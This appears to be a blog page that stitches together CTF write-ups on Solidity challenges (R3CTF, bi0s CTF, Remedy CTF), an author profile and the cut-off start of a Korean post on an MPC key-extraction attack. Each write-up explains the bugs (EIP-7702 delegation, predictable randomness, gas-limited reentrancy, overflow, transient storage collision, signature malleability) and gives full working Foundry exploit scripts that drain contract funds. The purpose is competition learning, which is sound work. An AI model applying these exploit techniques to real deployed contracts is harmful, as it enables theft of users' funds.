I really enjoyed R3CTF 2025 last weekend with CyKor.


Background

A user can register an agent in the Arena.

        uint256 codeSize = agent.code.length;
        require(codeSize > 0, "Deploy first");
        require(codeSize < 100, "Too big");

        bytes memory data = new bytes(codeSize);
        assembly {
            extcodecopy(agent, add(data, 0x20), 0, codeSize)
        }

        for(uint256 i = 0; i < codeSize; i++) {
            uint8 b = uint8(data[i]);
            if((b >= 0xf0 && b <= 0xf2) || (b >= 0xf4 && b <= 0xf5) || (b == 0xff)) {
                revert("Do yourself");
            }
        }

Agent requirements:
  • The agent's code length must be between 0 and 100 bytes.

  • Opcodes CREATE, CALL, CALLCODE, DELEGATECALL, CREATE2, SELFDESTRUCT are not allowed.

After registering an agent, a user can claim up to 3 pigs:

        arena.createPig(1337, 196, 101);
        arena.createPig(1234, 222, 111);
        arena.createPig(1111, 233, 110);

        arena.createPig(2025, 456, 233);
        arena.createPig(1999, 567, 222);
        arena.createPig(1898, 666, 211);


        Boss boss = new Boss();
        arena.registerAdmin(address(this), address(boss));

        arena.claimPig();
        arena.claimPig();
        arena.claimPig();

Since the admin has already claimed the last three pigs, the user can only claim the first three.

With these pigs, the user can request a battle against the admin using the requestBattle function. A bot monitors the blockchain, detects requestBattle, and automatically triggers processBattle, starting the battle.

    struct Pig {
        uint256 health;
        uint256 attack;
        uint256 defense;
    }

The user takes the first turn and selects admin's pigs to attack. If the random value is close enough (difference ≤ 10), the attack is doubled; if it matches exactly, the attack is multiplied by 5.

                uint256 boost = 1;
                if (dis == 0) {
                    boost = 5;
                } else if (dis < 10) {
                    boost = 2;
                }

                uint256 damage = battle[who][fromWhich].attack * boost;
                uint256 defense = battle[opponent][toWhich].defense;

                damage = damage > defense ? damage - defense : 0;

                if (damage > battle[opponent][toWhich].health) {
                    damage = battle[opponent][toWhich].health;
                }
                battle[opponent][toWhich].health -= damage;

                if (battle[opponent][toWhich].health == 0) {
                    uint256 totalDead = 0;
                    for (uint256 i = 0; i < battle[opponent].length; i++) {
                        if (battle[opponent][i].health == 0) {
                            totalDead++;
                        }
                    }
                    if (totalDead == battle[opponent].length) {
                        winner = who;
                        break;
                    }
                }

The first player to eliminate all 3 of the opponent's pigs wins and takes the wager.


Vulnerability

  1. Agent validation bypass via EIP-7702
    Using EIP-7702, it's possible to bypass the code length validation. Delegating a contract to an EOA temporarily changes the code length to 23 bytes, passing the check. If the deployed contract's code does not include forbidden opcodes, it can be used as a malicious agent.
        vm.startBroadcast(pk);
        // 1. delegate malicious agent to agent address
        agent.call{value: 0.1 ether}("");
        bytes memory code = type(MaliciousAgent).creationCode;
        address maliciousAgent;

        uint256 i = 0;
        while(true) {
            assembly {
                maliciousAgent := create2(0, add(code, 0x20), mload(code), i)
            }
            bytes20 data = (bytes20(address(maliciousAgent)));
            if(check(data)) { // check if there is banned opcode
                break;
            }
            i++;
        }
        console.log("MaliciousAgent address: ", address(maliciousAgent));
        // cast send 0x0000000000000000000000000000000000000000 --private-key <agent pv key> --auth <malicious agent address> --rpc-url <rpc>



  1. Breaking randomness
    function random() external returns (uint256) {
        seed = uint256(keccak256(abi.encodePacked(block.prevrandao, msg.sender, seed)));
        return seed;
    }

Since the random function is external and block.prevrandao is determined by the block number, the seed can be changed and the next random value can be predicted at any time. This makes it easy to manipulate the result.
contract MaliciousAgent {
    function acceptBattle(address opponent, uint256 wager) external returns (bool) {
        return true;
    }

    function tick(
        address opponent,
        uint256 wager,
        uint256 round,
        Arena.Pig[] memory fromPigs,
        Arena.Pig[] memory toPigs
    ) external returns (uint256 fromWhich, uint256 toWhich, uint256 r) {
        fromWhich = 0;
        toWhich = 0;

        uint256 maxAttack = 0;
        for (uint256 i = 0; i < fromPigs.length; i++) {
            if (fromPigs[i].health > 0 && fromPigs[i].attack > maxAttack) {
                maxAttack = fromPigs[i].attack;
                fromWhich = i;
            }
        }

        maxAttack = 0;
        for (uint256 i = 0; i < toPigs.length; i++) {
            if (toPigs[i].health > 0 && toPigs[i].attack > maxAttack) {
                maxAttack = toPigs[i].attack;
                toWhich = i;
            }
        }

        uint256 seed = Randomness(Arena(msg.sender).randomness()).random(); // change random value
        r = uint256(keccak256(abi.encodePacked(uint256(block.prevrandao), address(msg.sender), seed))) % 100; // expect next random value
    }
}



  1. EIP7702 again & reentrancy & warm/cold access & underflow
    function withdraw(uint amount) public {
        require(balanceOf[msg.sender] >= amount, "Too low");
        require(amount >= 10 ether, "So little");
        require(tx.origin == msg.sender, "No call");

        payable(msg.sender).call{value: amount, gas: 5000}("");
        unchecked {
            balanceOf[msg.sender] -= amount;
        }
    }

The withdraw function is vulnerable to reentrancy due to the lack of CEI (Checks-Effects-Interactions) pattern. Although the user account is an EOA, EIP‑7702 enables it to delegate control to an attack contract that implements a receive function.

Although only 5000 gas is forwarded, which prevents reentrancy under normal conditions, the attack can be made feasible by pre-warming the storage slot. Calling transfer beforehand makes storage access "warm", allowing the receive function to execute within 5000 gas.

contract WarmReentrancy {
    function attack(address arena) external {
        Arena(arena).transfer(address(0), 1); // cold storage access to bypass 5000 gas limit
        Arena(arena).withdraw(Arena(arena).balanceOf(address(this)));
        Arena(arena).withdraw(address(arena).balance);
    }

    receive() external payable {
        // save gas with implementing with inline assembly
        // reenter only 1 time by calling transfer function, not withdraw function & cause underflow
        assembly {
            mstore(0x00, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // transfer(addres,uint256) selector
            mstore(0x24, 1)

            let ok := call(gas(), 0x24Af61D83e0e5EaeE1E9cE0276590f3B54fBeFA5, 0, 0x00, 0x44, 0x00, 0x00)
        }
    }
}
        WarmReentrancy attack = new WarmReentrancy();
        console.log("WarmReentrancy address: ", address(attack));
        // cast send 0x0000000000000000000000000000000000000000 --private-key <user pv key> --auth <WarmReentrancy contract address> --rpc-url <rpc>

Such a beautiful exploit — a blend of EIP-7702 delegation, randomness manipulation, warm storage optimization, reentrancy, and underflow — everything works together in harmony!


Exploit

The final exploit combines all these techniques step by step.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import "../src/Challenge.sol";
import "../src/Arena.sol";

contract Ex is Script {
    Challenge public chal = Challenge(0xeC977c63bC40119A8746eaA142F87a989216FB26);
    Arena public arena = Arena(chal.arena());
    Randomness public randomness = Randomness(arena.randomness());

    function setUp() public {}

    function run() public {
        address user = 0xF85432cea25949e96fa2107900E2712523386856;
        uint256 pk = 0x1c207c3a1fb67290046586a731b44ca2937b39eb116813ee153ba16c63e05d45;
        address agent = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
        uint256 agentPk = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;

        vm.startBroadcast(pk);
        // 1. delegate malicious agent to agent address
        agent.call{value: 0.1 ether}("");
        bytes memory code = type(MaliciousAgent).creationCode;
        address maliciousAgent;

        uint256 i = 0;
        while(true) {
            assembly {
                maliciousAgent := create2(0, add(code, 0x20), mload(code), i)
            }
            bytes20 data = (bytes20(address(maliciousAgent)));
            if(check(data)) {
                break;
            }
            i++;
        }
        // cast send 0x0000000000000000000000000000000000000000 --private-key <agent pv key> --auth <malicious agent address> --rpc-url <rpc>

        // 2. register user
        arena.deposit{value: 7 ether}();
        arena.register(agent);
        arena.claimPig();
        arena.claimPig();
        arena.claimPig();

        // 3. create Battle against admin(chal)
        arena.requestBattle(address(chal), 6 ether);
        arena.transfer(address(0), 1);

        // 4. delegate warm reentrancy contract to user & reentrancy
        WarmReentrancy attack = new WarmReentrancy();
        console.log("WarmReentrancy address: ", address(attack));
        // cast send 0x0000000000000000000000000000000000000000 --private-key <user pv key> --auth <WarmReentrancy contract address> --rpc-url <rpc>

        (bool success, bytes memory data) = address(user).call(
            abi.encodeWithSignature("attack(address)", address(arena))
        );
        require(success, "Attack failed");

        console.log("user balance:", arena.balanceOf(user));
        console.log("chal balance:", arena.balanceOf(address(chal)));
        console.log(user.balance);
        console.log(chal.isSolved());

        vm.stopBroadcast();
    }

    function check(bytes20 data) public view returns (bool) {
        for(uint256 i = 0; i < data.length; i++) {
            uint8 b = uint8(data[i]);
            if((b >= 0xf0 && b <= 0xf2) || (b >= 0xf4 && b <= 0xf5) || (b == 0xff)) {
                return false;
            }
        }
        return true;
    }
}

contract MaliciousAgent {
    function acceptBattle(address opponent, uint256 wager) external returns (bool) {
        return true;
    }

    function tick(
        address opponent,
        uint256 wager,
        uint256 round,
        Arena.Pig[] memory fromPigs,
        Arena.Pig[] memory toPigs
    ) external returns (uint256 fromWhich, uint256 toWhich, uint256 r) {
        fromWhich = 0;
        toWhich = 0;

        uint256 maxAttack = 0;
        for (uint256 i = 0; i < fromPigs.length; i++) {
            if (fromPigs[i].health > 0 && fromPigs[i].attack > maxAttack) {
                maxAttack = fromPigs[i].attack;
                fromWhich = i;
            }
        }

        maxAttack = 0;
        for (uint256 i = 0; i < toPigs.length; i++) {
            if (toPigs[i].health > 0 && toPigs[i].attack > maxAttack) {
                maxAttack = toPigs[i].attack;
                toWhich = i;
            }
        }

        uint256 seed = Randomness(Arena(msg.sender).randomness()).random();
        r = uint256(keccak256(abi.encodePacked(uint256(block.prevrandao), address(msg.sender), seed))) % 100; // expect next random value
    }
}

contract WarmReentrancy {
    function attack(address arena) external {
        Arena(arena).transfer(address(0), 1); // cold storage access to bypass 5000 gas limit
        Arena(arena).withdraw(Arena(arena).balanceOf(address(this)));
        Arena(arena).withdraw(address(arena).balance);
    }

    receive() external payable {
        // save gas with implementing with inline assembly
        // reenter only 1 time by calling transfer function, not withdraw function & cause underflow
        assembly {
            mstore(0x00, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // transfer(addres,uint256) selector
            mstore(0x24, 1)

            let ok := call(gas(), 0x24Af61D83e0e5EaeE1E9cE0276590f3B54fBeFA5, 0, 0x00, 0x44, 0x00, 0x00)
        }
    }
}

// forge script script/Ex.sol:Ex --rpc-url $rpc -vvvvv
// R3CTF{gh0S7-ln-th3_macH1Ne_@9EnT_770z-WiI1-BZiN9_d0WN_7h3_60SS-6y_dra1nIn9_@ll_423na_2eS3Rv350}

I really enjoyed bi0s CTF 2025 last weekend with CyKor and finally solved 3 challenges.
Author's repo is here.


Empty Vessel (21 solves)

Background

  • user has bonusAmount INR
  • Setup deposits 100_000 INR to Stake
  • The goal is to make assetsReceived less than 75_000 ether when Setup calls Stake.redeemAll

Vulnerability

$$
\text{asset} = \text{share} \times \frac{\text{totalAsset}}{\text{totalSupply}}
$$

To make a difference in the value when deposit/redeem, the ratio of totalAssets and totalSupply must be manipulated.

However, performing donation attack increases the totalAsset, resulting in more INR acquisition when redeeming.

            if lt(mload(ptr),mul(mload(receivers),amount)){
                mstore(add(ptr,0x20),0xcf479181)
                mstore(add(ptr,0x40),mload(ptr))
                mstore(add(ptr,0x60),mul(mload(receivers),amount))
                revert(add(add(ptr,0x20),0x1c),0x44)
            }

In the function INR.batchTransfer, overflow can occur here because receivers.length * amount is calculated within inline assembly. Using this, if totalAsset is made 0, the value of the INR that can be obtained at redeem becomes 0.


Exploit

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.20;

import {Script,console} from "forge-std/Script.sol";
import {Setup} from "src/Setup.sol";
import {Stake} from "src/Stake.sol";
import {INR} from "src/INR.sol";

contract Ex is Script{
    Setup setup= Setup(<SETUP ADDRESS>);
    Stake stake=setup.stake();
    INR inr=setup.inr();

    function run()public{
        address user = <USER ADDRESS>;
        vm.startBroadcast(<PRIVATE KEY>);

        setup.claim();

        // 2*2**255 = 2**256 = 0
        address[] memory users = new address[](2);
        users[0] = user;
        users[1] = address(stake);
        inr.batchTransfer(users, 2**255);

        setup.stakeINR();

        // (2**255 + 100_000 ether) + (2**255 - 100_000 ether) = 0
        inr.transfer(address(stake), 2**255 - 100_000 ether);

        setup.solve();

        vm.stopBroadcast();
    }
}

// forge script script/ex.sol:Ex --rpc-url <RPC URL> --broadcast
// bi0sctf{tx:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f}



Transient Heist (7 solves)

This challenge had an unintended solution, which led to the release of a revenge version. I managed to solve both the original and the revenge versions using different unintended solutions. 🤡

Background

  • There are three token pairs (WETH/USDC, WETH/SafeMoon, SafeMoon/USDC) with some liquidity
  • USDSEngine contract allows users to deposit WETH and SafeMoon as collateral and mint USDS tokens in return, based on the value of the deposited assets
  • The goal is to make the player's WETH and SafeMoon collateral exceed the FLAG_HASH value (virtually setting it to type(uint256).max)

Vulnerability

  1. Transient Storage Collision in USDSEngine Contract
    Both bi0sSwapPair and tokensSentToUserVault are stored in transient storage slot 1, leading to a collision.

  2. Lack of Validation for _collateralToken in USDSEngine.depositCollateralThroughSwap function
    The _collateralToken parameter is not properly validated. An attacker can set _collateralToken to a malicious fakeToken and manipulate the swap to their advantage, allowing arbitrary control over tokensSentToUserVault.


Exploit

The attack leveraging the above vulnerabilities proceeds as follows:

  1. Create a fake token pair
    The attacker creates a fakeToken/WETH pair and adds liquidity with 2 * uint256(uint160(attacker)) units of fakeToken.
    The WETH liquidity is kept very low so that during the swap, a small amount of WETH yields a large amount of fakeToken.

  2. Call the USDSEngine.depositCollateralThroughSwap function
    Set the initial liquidity of WETH and fakeToken to 1 and 2 * uint256(uint160(attacker)), respectively, and set the swapAmount of WETH to 1.

    $$
    1 \times (2 \times uint256(uint160(attacker))) = (1+1) \times uint256(uint160(attacker))
    $$

    ⇒ We can obtain uint256(uint160(attacker)) fakeToken and set tokensSentToUserVault to the attacker's address.

  3. Directly call the USDSEngine.bi0sSwapv1Call function
    By directly calling the bi0sSwapv1Call function, the attacker's WETH deposit can be set to type(uint256).max - uint256(uint160(user)). (Subtract uint256(uint160(user)) to allow calling bi0sSwapv1Call again for SafeMoon.)

  4. Directly call the USDSEngine.bi0sSwapv1Call function again
    By directly calling the bi0sSwapv1Call function, the attacker's SafeMoon deposit can be set to type(uint256).max.

  5. Call the isSolved function


pragma solidity ^0.8.20;

import {Setup} from "src/core/Setup.sol";
import {Script,console} from "forge-std/Script.sol";
import {USDS,USDC,WETH,SafeMoon,Setup,USDSEngine} from "src/core/Setup.sol";
import {IBi0sSwapFactory} from "src/bi0s-swap-v1/interfaces/IBi0sSwapFactory.sol";
import {IBi0sSwapPair} from "src/bi0s-swap-v1/interfaces/IBi0sSwapPair.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Ex is Script {
    function run() public {
        address user = <USER ADDRESS>;
        vm.startBroadcast(<PRIVATE KEY>);
        Setup setup = Setup(<SETUP ADDRESS>);

        vm.label(address(setup.usds()),"usds");
        vm.label(address(setup.usdc()),"usdc");
        vm.label(address(setup.weth()),"weth");
        vm.label(address(setup.safeMoon()),"safeMoon");
        vm.label(address(setup.usdsEngine()),"usdsEngine");
        vm.label(address(setup.wethUsdcPair()),"wethUsdcPair");
        vm.label(address(setup.wethSafeMoonPair()),"wethSafeMoonPair");
        vm.label(address(setup.safeMoonUsdcPair()),"safeMoonUsdcPair");

        WETH weth = setup.weth();

        // eth -> weth
        vm.deal(user, 10 ether);
        weth.deposit{value: 2}(user);

        Attack attack = new Attack(address(setup));

        weth.transfer(address(attack), 2);

        console.log("isSolved: ", attack.attack());

        vm.stopBroadcast();
    }
}

contract FakeToken is ERC20 {
    constructor()ERC20("Fake Token","FT"){
        _mint(msg.sender, type(uint256).max);
    }
}

contract Attack {
    Setup setup;
    WETH weth;
    SafeMoon safeMoon;
    USDSEngine usdsEngine;

    constructor(address _setup) {
        setup = Setup(_setup);
        weth = setup.weth();
        safeMoon = setup.safeMoon();
        usdsEngine = setup.usdsEngine();
    }

    function attack() public returns (bool){
        IBi0sSwapFactory bi0sSwapFactory = setup.bi0sSwapFactory();

        // create fake token pair (fake/weth)
        FakeToken fakeToken = new FakeToken();
        IBi0sSwapPair fakewethPair = IBi0sSwapPair(bi0sSwapFactory.createPair(address(fakeToken), address(weth)));

        // 1*(2*user) = (1 + 1)*(2*user - user)
        weth.transfer(address(fakewethPair), 1);
        fakeToken.transfer(address(fakewethPair), 2*uint256(uint160(address(this))));
        fakewethPair.addLiquidity(address(this));

        weth.approve(address(usdsEngine), type(uint256).max);

        usdsEngine.depositCollateralThroughSwap(address(weth), address(fakeToken), 1, 0);
        usdsEngine.bi0sSwapv1Call(address(this), address(weth), type(uint256).max, abi.encode(type(uint256).max - uint256(uint160(address(this)))));
        usdsEngine.bi0sSwapv1Call(address(this), address(safeMoon), type(uint256).max, abi.encode(type(uint256).max));

        setup.setPlayer(address(this));
        return setup.isSolved();
    }
}

// forge script script/ex.sol:Ex --rpc-url <RPC URL> --broadcast
// bi0sctf{eth:0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f:tx}



Transient Heist Revenge (7 solves)

Background

The only change in Transient Heist is that the acceptedToken modifier argument in USDSEngine.depositCollateralThroughSwap was renamed from _otherToken to _collateralToken.
Intended solution is to replace _collateralToken with SafeMoon and brute-force a vanity address with the top 7 digits all zeros, and then solving it the same way as Transient Heist.

However, there is a method to solve this problem without brute-forcing a vanity address, even with a very small amount of attack funds (less than 10 wei + fee).

Vulnerability

  • As before, a transient storage collision occurs.
  • _otherToken can be manipulated. In the USDSEngine.depositCollateralThroughSwap function, IERC20(_otherToken).approve is called before the swap function. At this point, transient storage slot 1 holds the bi0sSwapPair address, enabling an attack via a malicious approve function.

Exploit

The attack flow is as follows:

  1. Call the USDSEngine.depositCollateralThroughSwap function.

  2. Call the malicious approve function.
    2.1 Call the swap function of a fake token pair.
    In the malicious approve function, the attacker can pre-call the swap function of a fake token pair to overwrite transient storage slot 1 with the attacker's address.
    $$10k = 2^{256} - (2^{256}\ (mod \ 10))$$
    $$1 \times 10k = (1 + 9) \times (10k-9k)$$

    $9k$ is enough to solve the challenge. ($9k > FLAG\_HASH$)


    2.2 Call the attacker.gogogo function.
    In the attacker.gogogo function, the attacker can directly call the bi0sSwapv1Call function, allowing manipulation of the WETH and SafeMoon deposits, as described in step 3 of the Transient Heist's attack flow.


    function approve(address spender, uint256 value) public override returns (bool) {
        if (msg.sender == address(usdsEngine)) {
            fakewethPair.swap(address(setup.weth()), 9, address(usdsEngine), abi.encodePacked(((2**256-((2**256)%10))/10)*9-uint256(uint160(address(attacker)))));
            attacker.gogogo(address(setup.weth()));
        }
        return true;
    }
  1. swap
    Called after malicious approve function ends.
  2. bi0sSwapv1Call

pragma solidity ^0.8.20;

import {Setup} from "src/core/Setup.sol";
import {Script,console} from "forge-std/Script.sol";
import {USDS,USDC,WETH,SafeMoon,Setup,USDSEngine} from "src/core/Setup.sol";
import {IBi0sSwapFactory} from "src/bi0s-swap-v1/interfaces/IBi0sSwapFactory.sol";
import {IBi0sSwapPair} from "src/bi0s-swap-v1/interfaces/IBi0sSwapPair.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Ex is Script {
    function run() public {
        address user = <USER ADDRESS>;
        vm.startBroadcast(<PRIVATE KEY>);
        Setup setup = Setup(<SETUP ADDRESS>);

        vm.label(address(setup.usds()),"usds");
        vm.label(address(setup.usdc()),"usdc");
        vm.label(address(setup.weth()),"weth");
        vm.label(address(setup.safeMoon()),"safeMoon");
        vm.label(address(setup.usdsEngine()),"usdsEngine");
        vm.label(address(setup.wethUsdcPair()),"wethUsdcPair");
        vm.label(address(setup.wethSafeMoonPair()),"wethSafeMoonPair");
        vm.label(address(setup.safeMoonUsdcPair()),"safeMoonUsdcPair");

        WETH weth = setup.weth();

        // eth -> weth
        weth.deposit{value: 10}(user);

        Attack attack = new Attack(address(setup));
        weth.transfer(address(attack), 10);

        console.log("isSolved: ", attack.attack());

        vm.stopBroadcast();
    }
}

contract FakeToken is ERC20 {
    Setup setup;
    USDSEngine usdsEngine;
    Attack attacker;
    IBi0sSwapPair fakewethPair;

    constructor(address _setup, address _attacker) ERC20("Fake Token","FT"){
        _mint(msg.sender, type(uint256).max);

        setup = Setup(_setup);
        usdsEngine = USDSEngine(setup.usdsEngine());
        attacker = Attack(_attacker);
    }

    function setfakePair(address _fakePair) public {
        fakewethPair = IBi0sSwapPair(_fakePair);
        setup.weth().approve(address(fakewethPair), type(uint256).max);
    }

    function approve(address spender, uint256 value) public override returns (bool) {
        if (msg.sender == address(usdsEngine)) {
            fakewethPair.swap(address(setup.weth()), 9, address(usdsEngine), abi.encodePacked(((2**256-((2**256)%10))/10)*9-uint256(uint160(address(attacker)))));
            attacker.gogogo(address(setup.weth()));
        }
        return true;
    }
}

contract Attack {
    Setup setup;
    WETH weth;
    SafeMoon safeMoon;
    USDSEngine usdsEngine;
    FakeToken public fakeToken;
    IBi0sSwapPair public fakewethPair;
    IBi0sSwapFactory bi0sSwapFactory;

    constructor(address _setup) {
        setup = Setup(_setup);
        weth = setup.weth();
        safeMoon = setup.safeMoon();
        usdsEngine= setup.usdsEngine();
        bi0sSwapFactory = setup.bi0sSwapFactory();
    }

    function attack() public returns (bool){
        // Create fake token pair (fake/weth)
        fakeToken = new FakeToken(address(setup), address(this));
        fakewethPair = IBi0sSwapPair(bi0sSwapFactory.createPair(address(fakeToken), address(weth)));
        fakeToken.setfakePair(address(fakewethPair));

        weth.transfer(address(fakewethPair), 1);
        fakeToken.transfer(address(fakewethPair), 2**256-((2**256)%10));
        fakewethPair.addLiquidity(address(this));

        // Attack
        // 1*10k = (1 + 9)*(10k - 9k)
        // 9k is enough to solve the challenge
        weth.transfer(address(fakeToken), 9);
        usdsEngine.depositCollateralThroughSwap(address(fakeToken), address(weth), 0, 0);
        setup.setPlayer(address(this));

        return setup.isSolved();
    }

    function gogogo(address token) public {
        usdsEngine.bi0sSwapv1Call(address(this), address(weth), type(uint256).max, abi.encode(type(uint256).max - uint256(uint160(address(this)))));
        usdsEngine.bi0sSwapv1Call(address(this), address(safeMoon), type(uint256).max, abi.encode(type(uint256).max - uint256(uint160(address(fakewethPair)))));
    }
}

// forge script script/ex.sol:Ex --rpc-url <RPC URL> -vvvvv
// bi0sctf{tx:0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f:v2}

'CTF' 카테고리의 다른 글

[R3CTF 2025] mini agent  (0) 2025.07.07
[Remedy CTF 2025] Casino Avengers  (0) 2025.01.30

In the given Casino.sol, we can deposit or withdraw native tokens, and increase our balances through the bet function with the deposited assets.

However, in withdraw function, we can check that it is withdrawn as a predetermined reciever rather than the receiver we set. 😂 Therefore, we need to use the reset function to withdraw to holder.

    function isSolved() external view returns (bool) {
        return address(PLAYER).balance >= 99 ether
            && address(CASINO).balance == 0;
    }

 

In order to pass isSolved() function, the following 3 steps are required:

  1. Call pause function in order to pass whenNotPaused modifier
  2. Break random value of bet function
  3. Call reset function

 

Call pause function in order to pass whenNotPaused modifier

contract Deploy is CTFDeployer {
    function deploy(address system, address player) internal override returns (address challenge) {
        vm.startBroadcast(system);

        challenge = address(new Challenge(player));
        Casino casino = Challenge(challenge).CASINO();
        casino.deposit{value: 100 ether}(system);

        uint systemPK = vm.deriveKey(vm.envString("MNEMONIC"), 1);
        bytes32 salt = 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(systemPK, keccak256(abi.encode(0, salt)));
        casino.pause(
            abi.encodePacked(r, s, v),
            salt
        );

        salt = 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b;
        (v, r, s) = vm.sign(systemPK, keccak256(abi.encode(1, system, 1 ether, salt)));
        casino.reset(
            abi.encodePacked(r, s, v),
            payable(system),
            1 ether,
            salt
        );

        vm.stopBroadcast();
    }
}

 

In the given Deploy.s.sol, system which is signer of Casino contract generated 65-length signature. Since the Ecdsa.sol that Deploy.s.sol refers to is an older version, we can create another signature created by system with the compact signature. (fixed here)

Break random value of bet function

uint256 random = uint256(keccak256(abi.encode(gasleft(), block.number, totalBets)));

 

There are 2 ways to break random value of bet function:

  1. Debug gas used to expect gasleft() when calculating random value

We can expect that 521 gas was used until gasleft() is calculated. (e.g. If we call bet function like casino.bet{value: 30521}, gasleft() function will return 30000)

  1. Brute force gasleft() value until we win, otherwise revert

I chose 2nd method.

 

Call reset function

We can also call reset function normally with the compact signature like pause function.

 

Exploit

ex.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
import {Casino} from "../src/Casino.sol";

contract Ex is Script {
    Challenge chall = Challenge(0xD9c231794C7EC3e5602dF3Be2BA3e74Bb7d487Af);
    Casino casino = Casino(chall.CASINO());

    function run() public {
        uint256 pk = <pk>;
        address user = vm.addr(pk);
        uint256 goal = ~address(casino).balance;
        // cast block 0 --rpc-url $rpc
        // cast block 1 --rpc-url $rpc
        // cast block 2 --rpc-url $rpc
        // cast block 3 --rpc-url $rpc
        // 3rd tx -> pause
        // 4th tx -> reset
        // cast tx <tx_hash> --rpc-url $rpc -> signature == input[-192:]
        // signature depends on your instance
        bytes memory sig_pause = hex"54d54e11cc8394a0ab47f5d92373df1c7d74ef66150eff6e5fcce35b624f5e4323eadc96a57be1648e58eeef67a606123bae93c2a58610cdffe7b1278368b66c";
        bytes memory sig_reset = hex"1fc4a02e026901ac39141161663a220df511d9b6653b31773f2c5fc00da4ef23c74f43d1332c3909a5ee8071f0f581f5b301d3ce8637f7d6d15e857062d39c98";

        vm.startBroadcast(pk);

        // 1. pause
        casino.pause(convertToCompactSignature(sig_pause), 0x5365718353c0589dc12370fcad71d2e7eb4dcb557cfbea5abb41fb9d4a9ffd3a);
        console.log("After pause: ", casino.paused());

        // 2. bet
        console.log("Goal:", goal);
        Attacker attacker = new Attacker(user, payable(address(casino)));
        attacker.deposit{value: 0.5 ether}();
        attacker.attack_brute_force();
        console.log("After attack: ", casino.balances(address(attacker)));

        // 3. reset
        casino.reset(convertToCompactSignature(sig_reset), payable(casino.signer()), 1 ether, 0x7867dc2b606f63c4ad88af7e48c7b934255163b45fb275880b4b451fa5d25e1b);        

        attacker.withdraw();

        console.log("My balance: ", user.balance);
        console.log("Solved: ", chall.isSolved());
        vm.stopBroadcast();
    }

    function convertToCompactSignature(bytes memory sig) public returns (bytes memory) {
        bytes32 r;
        bytes32 s;
        uint8 v;

        assembly {
            r := mload(add(sig, 0x20))
            s := mload(add(sig, 0x40))
            v := byte(0, mload(add(sig, 0x60)))
        }

        bytes32 vs;
        vs = bytes32(uint256(v%27)<<255) | s;

        return abi.encodePacked(r, vs);
    }
}

contract Attacker {
    address user;
    Casino casino;

    constructor(address user_, address payable casino_) {
        user = user_;
        casino = Casino(casino_);
    }

    function deposit() external payable {
        casino.deposit{value: msg.value}(address(this));
    }

    function withdraw() external {
        payable(user).call{value: address(this).balance}("");
    }

    function attack_brute_force() external {
        uint256 goal = ~address(casino).balance; // ~~~ equals ~
        uint256 gasleft_bf = 32000;
        uint256 amount = 0.5 ether;

        for (uint i = 0; i < 257; i++) {
            for (uint j = 0; j < 50; j++) {
                try this.bet(gasleft_bf, amount) {
                    amount *= 2;
                    break;
                } catch {
                    gasleft_bf++;
                }
            }

            if (amount > goal/2) {
                for (uint j = 0; j < 100; j++) {
                    try this.bet(gasleft_bf, goal - amount) {
                        break;
                    } catch {
                        gasleft_bf++;
                    }
                }
                break;
            }
        }
    }

    function bet(uint256 gasleft_bf, uint256 amount) external returns (bool) {
        bool res = casino.bet{gas: gasleft_bf}(amount);
        require(res, "lose");
    }

    receive() external payable {}
}

// forge script --rpc-url $rpc script/ex.sol:Ex --broadcast
// rctf{@lic3_u_C4n_d0_b3tT3r_th4n_th1S_bdc7bb482720bc332ba3cd5b}

'CTF' 카테고리의 다른 글

[R3CTF 2025] mini agent  (0) 2025.07.07
[bi0s CTF 2025] Empty Vessel, Transient Heist, Transient Heist Revenge  (0) 2025.06.13

specialize in crypto(graphy) and interested in web3 security



Education & Experience
2022.03~ : Korea University
2023~ : CyKor regular member
2023.10~ : thehackerscrew
2024.03~ 2024.07 : Blockchain Valley Development team
2024.07~ 2024.11 : Upside Academy
2025.03~ : Chainlight Intern Researcher



Presentation
2024 : UDC conference 2024 (Upside Academy project - Account Abstraction audit & Threat Modeling)



Information
Cryptohack profile : here
Dreamhack profile : here
blog for only cryptography : here
blog for only web3 : here
twitter : here



Archievements
2023
zer0pts CTF 🥈(2nd) (team : CyKor)
vsCTF 🥇(1st) (team : CyberSpace)
Srdnlen CTF 4th (team : thehackerscrew)
HK Cyber Security New Generation CTF 5th (team : thehackerscrew)
GlacierCTF academic 🥈(2nd) (team : CyKor)
m0leCon CTF final 5th (team : thehackerscrew)
backdoor CTF 🥈(2nd) (team : thehackerscrew)
ASIS CTF Finals 🥉(3rd) (team : thehackerscrew)




2024
IrisCTF 🥈(2nd) (team : thehackerscrew)
LA CTF 🥉(3nd) (team : thehackerscrew)
2024 Feb Space War crypto 🥉(3nd) (solo)
Dreamhack invitational 8th + Crypto award (1000000KRW) (solo)

Lindell17 protocol은 2017년 Lindell에 의해 개발되었으며 대표적인 MPC 중 하나이다. Lindell17 protocol에서는 two parties가 ECDSA key의 분리된 share을 생성하고 두 party가 모두 message를 sign하고 싶을 때에만 sign할 수 있다.

Practical Key-Extraction Attacks in Leading MPC Wallets 를 기반으로 Lindell17 protocol과 이에 대한 broken record attack을 소개하겠다.


Lindell17 protocol에 쓰이는 Paillier Encryption을 먼저 살펴보자.

Paillier Encryption

$p, q$ : 1024 bit prime
public key : $N = pq$
private key : $σ=(p-1)(q-1)$

Encryption

message $m ∈ Z_n$, random number $ρ∈Z_N^* $

$$Enc_N(m;ρ) = (1 + N)^mρ^N \ (mod \ N^2)$$

Decryption

